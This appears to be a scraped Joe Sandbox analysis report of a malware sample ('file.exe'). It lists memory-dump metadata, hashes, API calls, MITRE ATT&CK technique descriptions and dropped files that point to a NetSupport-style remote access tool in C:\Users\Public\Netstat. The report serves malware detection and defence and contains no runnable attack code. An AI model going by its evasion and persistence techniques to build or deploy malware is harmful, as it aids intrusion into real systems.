Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: f088c587b30f06de9e97c7295ecad2ca59e989c08ba0d6fbfe08a9c69469adba
Instruction ID: 8b3d7ba69e5a145072af1ccd44eaaa1231f9c6ae13f618dfcc42dde169188c16
Opcode Fuzzy Hash: f088c587b30f06de9e97c7295ecad2ca59e989c08ba0d6fbfe08a9c69469adba
Instruction Fuzzy Hash: E1E02B3574031DBBD320DA91EC06FD2F38C9B14764F044435FA245B284DAB0F880C3A4

Function 11001110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100113B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001121
m_hWnd, xrefs: 11001126

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: b62a108dd0f1a298b3da6ec4c3cd6e44d75acd6edd0f1b2899dc5cb61eb0235d
Instruction ID: 825df7ee52a795a689a6901b0494195ba864db9fe7d9b2cdbf909eadc0dc9b6b
Opcode Fuzzy Hash: b62a108dd0f1a298b3da6ec4c3cd6e44d75acd6edd0f1b2899dc5cb61eb0235d
Instruction Fuzzy Hash: 4ED02BB561031CABC314DA92DC41FD2F38CAB20364F004435F52542500D571F54083A4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Netstat\HTCTL32.DLL

C:\Users\Public\Netstat\NSM.LIC

C:\Users\Public\Netstat\PCICHEK.DLL

C:\Users\Public\Netstat\PCICL32.DLL

C:\Users\Public\Netstat\TCCTL32.DLL

C:\Users\Public\Netstat\client32.ini

C:\Users\Public\Netstat\msvcr100.dll

C:\Users\Public\Netstat\netsup.bat

C:\Users\Public\Netstat\nskbfltr.inf

C:\Users\Public\Netstat\pcicapi.dll

C:\Users\Public\Netstat\remcmdstub.exe

C:\Users\Public\Netstat\shv.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loca[1].htm

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre